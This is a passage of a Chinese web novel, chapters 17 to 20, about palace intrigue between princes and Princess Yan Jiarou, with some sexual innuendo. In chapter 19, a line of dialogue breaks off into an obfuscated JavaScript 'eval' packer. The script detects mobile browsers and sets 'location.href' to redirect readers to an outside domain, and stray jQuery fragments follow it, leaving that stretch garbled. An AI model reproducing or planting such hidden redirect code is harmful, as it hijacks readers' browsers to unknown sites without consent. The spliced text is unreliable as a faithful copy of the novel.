她又绞尽脑汁地又想了一些安慰的话:“而且,虽然你母妃不在了……但是你还有你的父亲和兄弟……” 这确实是她的真心话,她自小父母双亡,萧彻即使失去了母亲,依然是她羡慕的对象。 人都是这样,倘若她失去父亲或者母亲,自然羡慕那些父母健在的人,可若父母尽皆失去,自然也会羡慕那些还有父亲或者母亲的人。 这远比她在这世上孤孤单单一个人要好多了,她也庆幸萧彻是如此。毕竟双亲亡故的滋味有多难受,她再清楚不过,她自然也不希望他和她一样难过。 萧彻却只是轻嗤了一声,语调意味不明:“父亲,兄弟?呵……” “是啊,父亲,兄弟,他们会永远陪在你身边的……不光他们,还有你的朋友,比如燕骁……” 萧彻略一抬眉,唇角噙了丝若有似无的笑意,浅色的瞳仁在日光下折出细碎浅芒,剔透如琉璃,与之对视,会产生一种奇异的晕眩:“那你呢?你会永远陪在我身边么?” 颜嘉柔晕晕乎乎,鬼使神差地点了点头:“会……” 萧彻唇角的笑意更甚,附在她耳边,缓缓吐字:“告诉你一个秘密,我其实,从来都不讨厌你。” 颜嘉柔猛地睁大了眼睛。 萧彻从来都不讨厌她,那为什么……为什么一直捉弄她、欺负她,与她作对? 他的气息依旧丝丝缕缕地纠缠着她,灼人的温度包裹着她,可暂时被安抚的躁动,在短暂的满足之后,却迎来了更疯狂的反噬。 她想要更多。 她想一定是因为这个原因,所以她神智已经有些不清了,才会在前面鬼使神差地对萧彻说“会”。 身子止不住地颤栗,她竭力克制住自己的渴念,连忙低下头,将脑袋深埋进他的怀里,否则她怕她会忍不住攀咬上他的脖颈。 她想也一定依然是因为这个原因,她才会隐约感受到萧彻的手环上了她的腰……这一定是幻觉…… 灼热的呼吸倾吐在她的耳后,他的嗓音带了点微哑的笑意,轻如梦呓:“就这一次,也是最后一次……这次过后,我只当你,是我真正的皇妹……” 颜嘉柔想她真的是神志不清了,因为就算是幻觉,幻觉中的萧彻,说的竟然也是自己完全听不懂的话…… 什么意思……她名义上,本不就是他的皇妹么? 耳后一阵痒意,是萧彻轻轻对着她的耳廓吹送了一口气,嗓音透着磁性,颇有点蛊人的味道:“你真的,愿意一直陪着我么?” 还不等她回答,他目光一顿,像是看到了什么,挑衅地一扬眉,“嘶”了一声,颇为叹惋地道:“可惜,你陪不了我了。” “——你的太子哥哥来了。” 话音刚落,颜嘉柔便觉怀抱骤然一空,让人为之迷恋的气息与温度也突然撤去。 被奇异的欲望苦苦折磨着,因为负隅顽抗,早已精疲力尽。她的意识也已陷入了一种混沌的状态,对周遭发生的一切事都无法感知。 再次恢复清醒的时候,入目却是萧珏那张写满担忧的脸:“嘉柔,你没事吧?” 18. 第 18 章 身上之前的那股躁动和瘾念已经不知何时烟消云散,颜嘉柔晃了晃脑袋,意识到自己已经恢复了正常,只是脑袋仍有些晕晕的发胀,她看着眼前的萧珏,慢吞吞地眨了眨眼:“太子哥哥,你怎么……在这里?” “去了承欢殿找你,映雪说,你在这儿。”他说着若有所思地看了她一眼,唇边含着淡淡的笑意:“承欢殿离这里倒颇有段路,你好端端的,怎么会来这里?” “我……” 萧珏依然微笑着,无论何时,他都让她感觉如沐春风:“是来找三弟的吧?” “我……他母妃薨逝了,这么多天我都没见他出来过,我担心他出什么事了……”说到这里,又连忙抬头看了萧珏一样,飞快解释道:“他虽然和我向来不对付,但毕竟是我名义上的皇兄……我……” “嘉柔心善,连向来厌恶的三弟都如此关怀,是不是也该关心关心孤?” 厌恶?萧彻有时候的确让人讨厌……但她,并不厌恶他啊…… 至于关心萧珏,颜嘉柔茫然地眨了眨眼:“太子哥哥,你……你怎么了么?” 萧珏看了她一眼:“你只知道贵妃薨逝,三弟难过,可你知不知道,贵妃一死,以父皇的性子,必须要有人为她的死付出代价,而我的母后,便首当其冲,成了这个陪葬的人,如今已被废去后位,幽禁冷宫了——就为了一个莫须有的罪名。” “可父皇他其实根本没有任何证据,他不过是想找个人为贵妃陪葬罢了!呵,贵妃的命是命,孤母后的命,难道就不是命了么?” 颜嘉柔的目光也变得忧虑,轻轻叹了口气道:“皇后的事,我也有所耳闻,好在陛下只是废了她,并没有……我想假以时日,等陛下气消了,他会放她出来的,毕竟贵妃的死,并不能直接认定跟皇后有关……” “呵,新皇后已立,哪里还有废后的容身之所,只怕苟延残喘,也已是奢求。近日有宫人议论,说是自从孤的母后搬入冷宫后,冷宫中时常传出惨叫声,凄厉非常,孤实在担心……偏偏父皇却不许任何人前去探望……” “怎么会这样?或许那些叫声并不是皇后发出的,太子哥哥,你先不要太担心了,陛下素来疼我,不然我下回见他,试着为你母后求情……” “不必了,”萧珏原本在提到崔氏因江沉鱼被废时神情怨恨,目光望向颜嘉柔时,却瞬间柔和下来:“免得他迁怒于你。嘉柔,他对江贵妃的偏执是你我不能想象的,早已到了无可救药地地步……” 说到此处冷哼了一声,神情满是不屑:“要不怎么说兰陵一族惯会迷惑人心呢,便是最卑贱不过,只会利用色相使些不入流的功夫,我看父皇为了江氏,当真是什么都做得出来。” “江氏便是他的逆鳞,你可千万别为了给我母后求情触了他的逆鳞。他之所以格外疼爱你,不过是因为你父母昔年救了江氏的命,他感念你父母的恩情,因此才格外优待你。” “如今江氏既已不在,难保他对你的疼爱不会随之消失。甚至他对萧彻,也不过是爱屋及乌罢了,只是江氏这一死,嫁祸给了我母后,父皇心中有愧,怕只会对萧彻更加偏宠,江氏倒真是下得一步好棋。也怪父皇受她迷惑,呵,兰陵一族,当真是祸国。” 颜嘉柔眉心微蹙,她心底并不认同萧珏的话:“迷惑人心,多半也只是传言罢了,只因兰陵一族生得绝色,令人见之忘俗,神魂俱摄,所以才说他们迷惑人心……” 萧珏看了她一眼:“嘉柔,兰陵族人擅于蛊惑,这可是众所周知的事情,你又何必不认呢,还有,孤可得提醒你一句,我三弟身上可有一半的兰陵血脉,所谓有其母必有其子,你可当心,别被他给迷惑了……” 颜嘉柔一怔,回想起近日对他的种种异常举止,像中了蛊一般难以自控地被他吸引,心底不知怎么,竟生出几分心虚来,结结巴巴道:“我……我怎么会呢……我一向和他不和……我讨厌他还来不及,又怎么会被他迷惑?” “是啊,”萧珏深看了她一眼,像是要把她整个人给看穿:“嘉柔喜欢的明明是孤,不是么?” 颜嘉柔脑子乱得很,想也没想就回道:“当……当然了,这么多年,我喜欢的人一直是太子哥哥你……” 既是对他的回答,又像是对自己的告诫。 她应该喜欢萧珏,萧珏在她儿时不顾性命,那样拼尽全力地救了她,尽管过了那么多年,溺水时那双竭力托举自己的手,像是绝境中的一道光,手心紧贴着她的脊背,触感依旧清晰可感。 她从那个时候开始喜欢他,喜欢了这么多年,几乎已经成了习惯。 一个人的习惯,又怎么会轻易更改呢? 再次听到她肯定的回复,萧珏慢慢笑了起来:“孤就知道,就算所有人都被萧彻迷惑,可你不会,你会永远选择孤,永远陪在孤的身边。” “不过,孤方才好像远远地瞧见,三弟抱你了,”他挑了下眉,余光观察她的反应:“倒是稀奇,你们两人,不是一向势同水火么,他居然肯抱你?” “我……”颜嘉柔之前脑袋晕晕乎乎,其实根本分辨不清萧彻到底抱她了没有,倒是她自己,好像是环着他不肯松手……没想到居然被萧珏当场撞见,如今该怎么狡……不是,怎么解释呢。 印象中萧彻好像对她说了一句皇妹,什么今后将她当做皇妹,于是脑袋一转,当即编出一段话来,大约人在格外紧张时,脑袋总要比平时灵光一些:“是萧彻说,以后将她当做正经皇妹,要与她休战和好,那一抱,便是哥哥对妹妹的拥抱。” 这话真假掺半,倒不算是在说谎,因此颜嘉柔对上萧珏审视的目光时,神情也十分坦然。 萧珏凝视了她片刻,整个神情松懈下来,倏地笑道:“这样也好,往后你也不必再苦恼他作弄 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有时候他不过朝自己散漫地一笑,她便觉大脑一片空白,周遭的一切,仿佛都变得寂静无声,她只能听见自己越来越快的心跳声。 后来才知道这不过是他恶作剧的前奏,便觉受到了某种欺骗,生气非常。 她也不知道因何生气,或许是气自己的愚蠢和萧彻的恶劣。 这些症状在骊山之行前便已存在,而自从在骊山上被那野狐咬了一口之后,症状便越发怪异。 她开始对萧彻产生了一种不为人道的渴望与瘾念。 好在只有发作的时候才会如此,平常并无异样。 至于何时发作,她估摸着是只有与萧彻近距离接触才会如此,否则从骊山回来也有好一段时间了,怎么前面都无事,偏偏今天和萧彻一见面就又……在此之前,她一度以为她的病已经好了。 她不想再发作,她怕被人发现她的秘密,到时候萧彻会用什么样的目光看她?她又该怎么面对萧珏? 而眼下要想不再发作,根据她的观察,最好的办法似乎就是不再与他有任何近距离的接触。 她想起不久前萧彻跟她说的那番话,说他以后待她和别的世家小姐不会有任何区别。 尽管她那时心情说不上是高兴还是怪异,但她此刻却感到庆幸——萧彻从不会多看旁的女子一眼,更遑论近距离接触,一旦他也待她如此,那么她照理应该不会再犯病了。 她想她很快就能彻底恢复正常了,像从前一样,安心地和萧珏在一处。 和萧珏亲近没什么不好,起码很自然,从不会紧张。 她不想再因为萧彻变得奇怪了。 那样失控的自己,会让她觉得不安。 19. 第 19 章 萧珏和颜嘉柔走远后,两道人影从甬道的拐角处缓缓出现。 燕骁双臂环抱,下巴朝两人离去的方向一抬,嗤道:“这位清河公主,我从前真是小瞧她了,前脚刚跟你难舍难分,后脚就能片刻不带犹豫地转投太子的怀抱,啧,倒真是心胸宽广啊,不行把萧衍也装里面得了,凑个齐全。” 萧彻搭下眼帘,容色淡淡:“很奇怪么,她一向喜欢太子,你不知道?” “啧,我这不是为你不平么。从前还替你可惜,毕竟是这样娇滴滴的一个小美人,何况你难得喜欢一个人……不过现在看来,她这般三心二意的,根本配不上你。” “燕骁,”萧彻容色却冷了下来,只道:“我与她的事情,不用你来置评,配不配得上,也不是你说了算。” 燕骁低头摸了摸鼻子,声音低了不少:“好嘛,不过说她两句不是,你还生气上了……我不说了就是。” 顿了顿,又试探地问道:“不过萧闻祈,你……真放下她了?” 萧彻道:“没什么放不放得下的,终归她的心思从来不在我身上。这么多年了,为了从萧珏那里夺得她的注意,我做了不少蠢事,可她对我,却是一年比一年讨厌。我也累了,实在没意思得很。” “我从来不喜欢强迫别人,她不喜欢我,我若非去纠缠,又有什么意思。她既喜欢萧珏,便随她去好了,从此她的事,跟我再无相关。” 燕骁深看了他一眼,收起玩笑神色,竟难得有几分认真:“你是因为起了夺嫡的心思,将生死置之度外,所以才刻意与她疏远吧。” “现在放手正好,你万一夺嫡失败落得个身死的下场,她也不见得会有多少难过……若再有牵扯,只怕她真到了那天,会为你落泪,你不忍心了是不是?” “萧闻祈啊萧闻祈,你的这一条命,难道还不值得她几滴泪么?当年明明是你救的她,不知道的,还以为是她救了你。” 萧彻目光冷淡地扫过他:“燕骁,你今天,话特别多。” 燕骁不以为意:“这就多了?我还有更多的呢。你是不是这么想的,你现在跟她再无牵扯,你若是夺嫡成功,她自然安然无虞,但即便你输了,她也不会有事。” “萧珏自不必多说,萧衍对这位清河公主,虽无男女情意,待她倒也是极好。清河公主小时候为他引开过毒蛇,算是有救命之恩,即便他如今与萧珏势同水火,却也从来没有为难过她。他二人无论谁最后继承大统,她都会过得很好。” “可你我都知道,萧珏此人,面上温和,可疑心最重……你是怕你既与他为敌,倘若日后再与颜嘉柔有什么纠缠,担心她惹他猜忌,反而难做?不是,你难道就笃定自己一定会输?” “既答应了母妃,我自然会赢。”他眉眼间多了分凛然,只道:“我说了,没意思的事情,我不会再做。她喜欢萧珏,我从来都知道,如今我既要与她的心上人为敌,她日后自然恨我,倒不如现在就说清,往后形同陌路,反倒落个干净。” 燕骁于是道:“懂了,你是不想她以后夹在中间,左右为难。” 萧彻:“……随你怎么想。反正我与她到此为止。不出意外的话,不会再有任何交集。” 燕骁:“不出意外的话,大抵都是要出意外的。” 萧彻:“…………” 燕骁摸了摸下巴,蹙着眉头,一脸沉思:“要想从你嘴里挖点实话出来,倒比登天还难。到底什么原因,我想来想去,保不齐都有……” “算了,总归你都要放手了,再问也没什么意思,说回正事,萧闻祈,上回骊山惊马事件,你还打算在这件事上做文章么?” 萧彻道:“骊山惊马,自然是萧衍的手笔。我原本已告诫过他今后不许再轻举妄动,免得伤及无辜。他也答应了我。可今时不同往日,文章自然还是要做,只不过,却要换一种做法了。” 燕骁道:“那日陛下临时将那匹被下了药的雪花骢改赐于你,听说萧衍紧张不已,想必也是怕连累你。他对你心中有愧,又有把柄在你手上,对你自当言听计从了。” 萧彻扯了唇角一笑:“自然。他有把柄在我身上,我的话,他想听也得听,不想听也得听。不过,”他看了燕骁一眼,浅色的瞳仁在日光下隐隐有异光流动,颇有摄人之感:“我自然有办法,让他乖乖听话。” “话说回来。燕骁,还没恭喜你升迁之喜。恭贺你凯旋归来,被父皇擢升为亲勋翊卫羽林中郎将,从此掌管整个北衙禁军。” 燕骁挑眉:“我也恭喜三殿下。” “恭喜我?” “我有今日,全是贵妃的恩赐,如今她不在了,我自然唯殿下马首是瞻。我爬得越高,自然越能成为殿下的倚仗。” 他看着萧彻,眼中竟是难得的认真:“愿为殿下驱策,赴汤蹈火,万死不辞。” 萧彻喉结滚动,深看了他一眼:“好。” —— 晋王府,书房内。 萧衍坐在圈椅上,手指闲闲地叩着桌案,听萧彻提到骊山惊马一事,下意识地便回道:“我的好三弟,难为你又特地来我府上一趟,我知道了,我以后必定不会再轻举妄……” 话说到一半,却忽然反应过来,抬头错愕地看向萧彻:“不是,三弟,你说什么?你说我以后想要怎么对付太子,都随我,只是不要再像骊山上那般鲁莽就行了?” 他原以为他是来劝他的…… 萧彻抱臂倚在窗前,淡道:“萧珏既害过你,你想要报复回来,也是人之常情,我为何要拦你?” “可你之前不是告诫我……” “之前是之前,”萧彻转过脸来,一旁灯架上斜照过来昏黄的光焰,映在他淡色的眼底,火光跳跃,明明灭灭:“二哥,我母妃的死,教会我很多,有仇自然是要报的,将心比心,我又怎会再阻止你报仇?” 萧衍蹙眉:“你的意思是,贵妃的死,和太子有关?” “那盅参汤既是他送去的,而崔皇后又冒雨跪在紫宸殿自证,倒确像是冤枉,谁知是不是他出的主意,抑或是他借了你母后的名义,若真是如此,你母后再想脱罪,却也不会把她心爱的儿子拉下水,自然顺势替他揽下了。” “何况一个是你的母亲,一个是你的同胞兄长,他们两人的秉性,你该是最清楚不过。” 萧衍敛眉沉吟:“我母后这个人,性子一向软弱,胆子又小,她的确一直嫉恨贵妃夺了她的宠爱,但若要说为此杀她灭口,倒也不必等到今日。” “至于我那大哥,表面瞧着温良无害,背地里,却是个黑心的主,为了那个位子,连自己的亲弟弟都可以下手,更遑论外人了,”说到这里,微微眯起眼,眉眼间一派阴郁之色:“偏母后还偏袒他……” 萧彻道:“那就是了,你是他的胞弟,他尚且可以为了皇位对你下手,那他忌惮父皇对我母妃的宠爱,担心他的储君之位不稳,因此故意送去参汤——还是由高丽进贡,极为滋补的高丽参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14791824|158141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熬制成的参汤,导致我母妃虚不受补,也完全有可能。” “总之,你也知道,我和他一向不和。不管这件事究竟是不是他有意为之,我都不待见他,如今他多了这层嫌疑,我对他自然更是厌恶。” “我身份特殊,储君之位,从来与我无关,也只有萧珏,才会因为不受父皇的宠爱,患得患失,对你下手还不够,竟将我也当成了他的假想敌,实在可笑。而这储君之位,由谁来担,你和他之间,”他看向萧衍,似笑非笑:“二哥,我自然选你。” 萧衍喉结滚动,虽然早就猜到萧彻的想法,但第一次从他的嘴里听到这样的话,还是难免心潮激动,他虽然有同胞兄弟,可早已反目,也只有从萧彻身上,才能感受到久违的兄弟亲情了:“好三弟,二哥自然知道你是向着我的。” 萧彻的确一向与萧珏不和,这是他很早之前便发现,并为之庆幸的事。 至于原因,经过骊山之行后,他想他应该知道了:“三弟,你从小就不待见萧珏,是因为嘉柔吧?你其实喜欢她,是不是?” 萧彻一噎,猝不及防被他这么一问,脸上下意识的表情来不及收回,只能别过脸去,低低地道:“……没有的事。” 静默片刻,转头见萧衍依旧望着他,唇角含着抹微妙的笑意,目光近乎洞彻,便也不装了,挑了下眉,身子后靠在窗沿上,掀了眼皮,一副散漫不羁的神情,只问道:“……你怎么知道?” “那马是我命人下的药,我知道药性有多烈。不见血决不会停下。” 萧衍道:“所以父皇将那匹药马转赐给你的时候,我才会那么紧张。但我想,以你的身手,至多受点伤,性命应该无碍,如果是萧珏那个废物,”他轻蔑地笑了下,冷冷道:“不死也废了。” “——这才是我让人给那匹马下药的初衷。” “谁知道,后来却是小嘉柔上的那匹马。” “她一个弱女子,上了那匹药马,只能是凶多吉少,我也着实为她捏了一把冷汗。” “药效发作后,雪花骢疯了一般驮着嘉柔狂奔向密林,我便知不好,后来见你策马追了出去,倒是有些吃惊,直到看到嘉柔安然无虞地回来,除了据说被野狐咬了一口之外,浑身上下竟没受半点伤,我便知道,你是豁了性命去救她的。” “你待旁人一向冷淡,除了颜嘉柔之外,从没见你正眼看过哪个女子一眼,这么一想,你从前虽然处处与她作对,但却只与她作对,又何尝不是独一份的情谊?你若不喜欢她,为何总是招惹她,又怎么会舍命去救她?” “如此这般前后串联起来,许多事,便都能说得通了。” 萧彻喉结耸动,静静地注视了他片刻,忽然扯了唇角,漫不经心地一笑:“是又怎么样,那都是过去的事了。她喜欢的,从来都不是我,我也无谓再费心思。” 萧衍却颇为不赞同地“啧”了一声,起身朝他走去,伸手拍上他的肩膀,意味深长地一笑:“诶,三弟,何必如此泄气呢。嘉柔也是被萧珏那副温润皮子给哄骗了,等日后我做了太子,他一无所有,恐怕再也装不下去了,等到那时,她自然就能看见你了。” 看似是鼓励与安慰,却又分明含着试探。 无欲则刚,没有欲望的人往往才最可怕,因此适当地展露出欲望,反而更能取得他人的信任。 萧彻慢慢地笑起来,顺势道:“那就,多谢二哥了。” 萧衍抬眸注视了他片刻,忽然哈哈大笑。 20. 第 20 章 等到笑声停下,他看向萧彻的眼神,也多了几分推心置腹的信任,问他道:“三弟此次前来,不光是为了告诉我,往后不再拦着我对付太子,亦不必再忌惮你手上的证据那么简单吧?” “你之前不让我轻举妄动,那依你之见,什么时候才算是合适的时机?” 萧彻:“之前那匹雪花骢原是要赏给萧珏的,父皇既临时改赐了我,之后必定要再找机会补给他,且既是补偿,那极有可能不止一匹。” “而萧珏不擅骑射,儿时曾从马背上摔下,因此一向畏马,东宫中从不豢养马匹,也没有专职豢养马匹的人手,既得了御赐的马匹,且不止一匹,少不得得从沙苑监里拨几个人过去。” “二哥,”他叫了萧衍一声,微微笑道:“这难道,不是你的机会么?” “我的机会?你是说……” 萧彻道:“父皇向来喜欢在宫宴中加以赏赐,等下回节令宴,必然赐他御马。那么从现在开始,到下回节令宴开宴,这段时间,二哥,你可以试着去沙苑监打点,将自己的人安插进去了。” 萧衍眼睛一亮,恍然道:“是啊,从现在开始安插人手,等父皇赐马,萧珏从沙苑监拨人,我的人便能顺利进入东宫了。饶是萧珏平素最谨慎,也决计想不到我早早就安插好人了。这样一来,往后东宫发生什么事,也查不到我的头上。” 抬眼看向萧彻,笑道:“只在东宫动手,也自然牵扯不到旁人。我会吩咐下去,往后动手更加谨慎,决不会发生上次的事,连累到你的心肝。” 又道:“说起来,上次骊山惊马一事,我做得实在冒险。多亏了三弟替我善后,称那匹雪花骢已经坠崖,否则雪花骢素来温顺,鲜少发狂,若父皇起了疑心细查起来,只怕我讨不了好。” “二哥不必谢我,不过是阴差阳错。我本意也不过是不想生事罢了。何况你与太子不和已久,父皇向来偏宠于你,很多事情,也是睁一只眼闭一只眼。” 萧衍拍了拍萧彻的肩:“不管如何,二哥还是要多谢你。那往后,咱们可就是一条船上的人了。” “譬如乘船过河,便只能乘坐一条船,这条船沉了也就沉了,可没有中途换乘的道理。” 萧彻便慢慢弯起唇角,有风自窗外吹入,烛火猛地上窜了一下,映照在他茶色的眼瞳中,折出几分奇异的光亮:“自然。” —— 晚些时候萧彻回宫的时候,直接回了含光殿。 这是他成年后的住所,本来皇子成年后是要去宫外立府的,但他是贵妃的儿子,在魏元帝那里,总是因为爱屋及乌,有着无上特权。 贵妃薨逝后,他却一直没回去,她的死对他的打击太大了,他根本接受不了,对他而言,她不仅是他的母亲,也是他在这宫中唯一的族人,他们血脉相连,共同依偎取暖,可如今,却只剩下他孤零零的一个人了。 这世上,再也没有人会真心爱他。 就连他的父皇,对他所谓的偏宠,说穿了,也不过是爱屋及乌罢了。 他爱他,只不过是因为他是江沉鱼的儿子。 至于旁人,碍于他皇子的身份,明面上不说什么,可背地里提到他的时候,哪个不是嗤之以鼻。 就因为他不是正统的魏人血脉。 非其族类,自然不为其所容。 没有人真正喜欢他。 那些或明或暗向他表露爱意的世家女,难道又是真心喜欢他么。 她们厌恶排斥他的一半血脉,因其卑贱不吉,却又喜欢这样卑贱血脉所诞育的皮相。 多讽刺啊。 不过也没什么,他也并不喜欢她们,因此全不在乎。 至于他唯一喜欢的女子,心思也从不在他的身上。 小骗子的话,只有他当了真。 不过也没什么,从没有得到过,自然也谈不上失去,他从来不是什么君子,自然也没有什么成人之美的爱好。 只不过他愿意放手,成全她一回。 只有这么一回,也是最后一回。 自江沉鱼死后,他一直把自己关在披香殿里,那是最后留存她气息的地方,他只想多留住她一会儿。 也只有燕骁回京后,提醒他还有正事要做,他才从那里走出来。 走在日光下,久违的阳光有些刺眼,轻风吹拂过面颊,他第一次真切地感受到,他还活着。 没想到路上遇见颜嘉柔,每次最狼狈的时候,似乎都会遇见她。 小姑娘嗓音轻轻软软的,笨拙地安慰着他,一如多年前的那个雨夜,她为他撑起了伞,奶声奶气地让他别难过。 她安慰的话也不见得多么高明,却自有一种神奇的力量,能熨帖抚平他内心的伤痕。 只有跟她在一起时,内心才能得到真正的平静。 她的话也终于让他相信,他和他母妃,不过是暂时的分别,终有一日,会再次重逢。 人在极致绝望的时候,往往沉溺于当下的情绪中无法自拔,但若是转过了弯,经人点拨,在某一刻忽然想通了,觉得倒也并非再无机会,眼前便会一下豁然开朗。 萧彻觉得他已经好多了。 等回到含光殿的时候,却正好撞见姬乐在他的寝殿,坐在他的床沿,轻抚他的枕头。 他眉心微蹙,叫了她一声:“姬乐,你怎么在这?” 姬乐像是被吓了一跳,连忙起身退到一旁,悄悄抬眸看了他一眼,又快速地垂下眼帘,呼吸有些乱,欠身朝他行了个礼道,“奴婢……奴婢见殿下出了披香殿,想是要回含光殿,便过来替殿下先行整理……” “这些事嬷嬷和薛止自会安排,你先回去吧。” 薛止是一贯跟着他的侍从。 姬乐眼睫颤动了下,抬头看向萧彻,眸中有泪光闪烁,咬唇道:“殿下……是要我回哪里去呢?” 萧彻微微一怔,看了她一眼,才想起母妃既已薨逝,她作为她的贴身侍婢,的确已无处可去,更何况母妃临死前,也已把她留给他,她对他,尚有用处。 他淡道:“那就留下吧,去找李嬷嬷,她会给你安排住处。” 说完转身走到一个黄花梨刻浮雕瑞兽纹样的衣架前,手扶上腰带,正要宽衣,忽然注意到身后迟迟没有传来动静,心底不由得浮上几分不耐,转头看向她,皱眉道:“你怎么还不走?” 姬乐上前一步,低垂着眉眼道:“奴婢来伺候您宽衣。” “什么?”萧彻道:“你没听我之前说么,伺候我洗漱宽衣这种事,会由嬷嬷或者太监来做,不必你来,你可以退下了。” “可是嬷嬷毕竟年纪大了……那些小太监,到底不比女人细心,殿下,为什么不由年轻的宫婢服侍呢,是因为之前发生的那些事么?” “那些贱婢的确可恶,那时候殿下才多大,可是如今殿下长大了,既已加冠,便是大人了,有些事情,也该学起来了。” “若是贵妃还在,也当为您安排司寝官女了,如今她既不在了,”她说着,又上前一步,抬头目光盈盈地望着他,脸颊渐渐浮上红晕,仿佛献祭一般,眉眼含春,说出口的话,充满着暗示意味:“殿下的事,我自然该替娘娘操心着点……” 萧彻眉梢几不可察地一扬,只淡漠地瞥了她一眼,嗤道:“不必,我对那种事,没兴趣。” 姬乐一怔,似乎有些意外:“怎么会呢?您……怎么会……” 萧彻说他对那种事不感兴趣,她自然是不信的,怎么会呢? 男人天生便对男女之事十分热衷,更何况他身上还有着一半兰陵族人的血脉。 她虽然并非兰陵族人,但自幼跟在江沉鱼身边长大,对兰陵族人的一切都可谓了如指掌。 兰陵族人在许多方面都异于常人,天赋出众,当然也包括,床笫之事。 兰陵一族的男子在那方面,可谓是天赋异禀,相应的,自然也就对男女之事格外热衷,歧国灭国不久后,魏朝初立,当时萧元乾的姐姐,也就是魏朝的长公主殿下,还搜罗了不少兰陵族的男子,放在身边伺候。 兰陵族的男子,容貌俊美昳丽,又在某些 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这样的美色,实在很难不令人心猿意马。 只是盯得久了,不由得生出一种奇异的晕眩。 等再回过神来时,眼前却闪过一道白光,那是……刀刃的寒光! 兰陵男子用来舞剑的兵刃,早已被视为供他们取乐的器具,此刻却忽然回归了它最原始的属性,刺入他们的胸口。 这让所有人都猝不及防。 血雾四溅,席上的杯箸碎裂一地,酒至半酣的大臣被鲜血淋了个清醒,连忙仓惶地起身自卫。 前一刻还歌舞升平的春宴,转瞬刀光剑影。 那场刺杀,死了不少人,云霄阁三十六功臣中,就有三位死于其中。 他们忘了兰陵族人不光容貌出挑,是最适合拿来取乐的对象,同时身手也十分出众,亦能上阵杀敌。 更不用说,他们还有一副足以迷惑众生的皮相。 兰陵一族,的确迷人,却也有着致命的危险。 这也是兰陵族人后来几乎被魏人屠戮殆尽的原因。 魏人发现,只要是兰陵族人,无论男女,几乎没有一个不想报灭族之仇,图谋复国。 且其无论身手、谋略,都不可小觑,甚至连蛰伏隐忍的本事,也教人佩服。 留他们在这世上,始终是个祸患。 魏元帝也险些死在这场刺杀中,当时江沉鱼和长公主分别坐在魏元帝的两侧,那名兰陵族男子,也就是长公主的面首司恒,剑尖堪堪就要刺穿萧元乾的咽喉,危急时刻,是长公主挺身而出,替他挡下了这一剑。 长公主当场殒命,临死前竟还替司恒向萧元乾求情,求他绕他一命。 这也就更坐实了兰陵族人能够迷惑人心的传闻。 萧元乾痛失长姐,痛不欲生,下令屠戮所有幸存的兰陵族人,除了江沉鱼。 江沉鱼为替族人求情不惜以死相逼,萧元乾面上应允,将其族人流放,但不久传来消息,在流放途中,其族人感染疫症而死,无一幸免。 姬乐记得江沉鱼那时大病一场,病好之后,常常会一个人坐在床边出神,目光里的恨意也越来越炽烈,也只有魏元帝来时,才会短暂地收起仇恨的神色,换上一副虚假的、虚浮着笑意的脸孔。 她回过神来,这才惊觉不知不觉间,竟想起了那么多陈年往事,那时萧彻甚至还尚未出生,而她,也不过是个几岁的孩子罢了,印象却是深刻。 倒是想远了,原不过是想到之前兰陵族男子盛行当男宠的原因,便是他们在床上天赋惊人。 相应的,他们需求也异常的大。传闻前朝的兰陵皇室,皆可一夜御数女,叫水数次。 所以在听到萧彻说出对那种事不感兴趣时,她才会那么吃惊。 但仔细想来,的确未曾见过他同哪个女子亲近,甚至连个通房都没有……那便是了,他一定是从没尝过那等销魂滋味,所以才会不感兴趣,若是尝过一次……